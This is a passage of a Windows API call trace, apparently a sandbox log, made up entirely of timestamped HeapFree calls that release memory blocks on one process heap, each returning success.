	[0175.888] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.888] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.888] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.891] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.891] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.891] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.894] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.897] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.901] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.901] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.905] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.912] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.913] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.913] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.913] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.917] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.917] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0175.922] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.996] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.997] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.249] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.460] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.468] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.468] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.469] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.470] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.471] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.472] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.473] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.474] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.475] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.476] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.478] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.479] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.479] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.480] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.481] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.482] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.483] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.484] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.485] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.486] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.486] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.487] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.488] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.489] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.491] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.523] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.553] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.563] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.563] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.563] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.564] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.565] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.565] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.566] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.568] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.569] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.569] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.578] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.584] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.591] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.597] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.598] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.598] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.599] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.844] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.865] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.865] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.866] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.867] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0177.060] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.060] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0177.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0177.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454fff8 | out: hHeap=0x610000) returned 1
	[0177.141] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0177.145] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0177.145] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0177.156] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.159] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.159] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.222] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.252] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0177.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0177.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0177.256] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.257] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.257] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.257] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.259] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.259] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0177.263] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.264] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0177.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0178.034] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.383] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.384] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.384] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.386] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.386] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.386] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.388] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.389] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.390] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.391] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.394] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.396] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.399] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.399] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.399] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.399] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0178.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.406] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.406] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.406] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.406] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.406] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.407] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.407] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.407] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.407] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.407] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.408] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.408] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.408] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.408] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.409] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.409] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.409] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.410] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.411] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.412] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.413] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.414] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.763] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0178.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.771] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.771] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.771] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0178.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0178.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.773] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0178.778] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.780] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.780] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.780] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.780] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.781] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.782] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.782] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.782] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.783] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.783] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.787] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.788] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.789] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.789] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.790] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.790] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.791] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0178.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.796] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0178.796] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.796] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.796] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
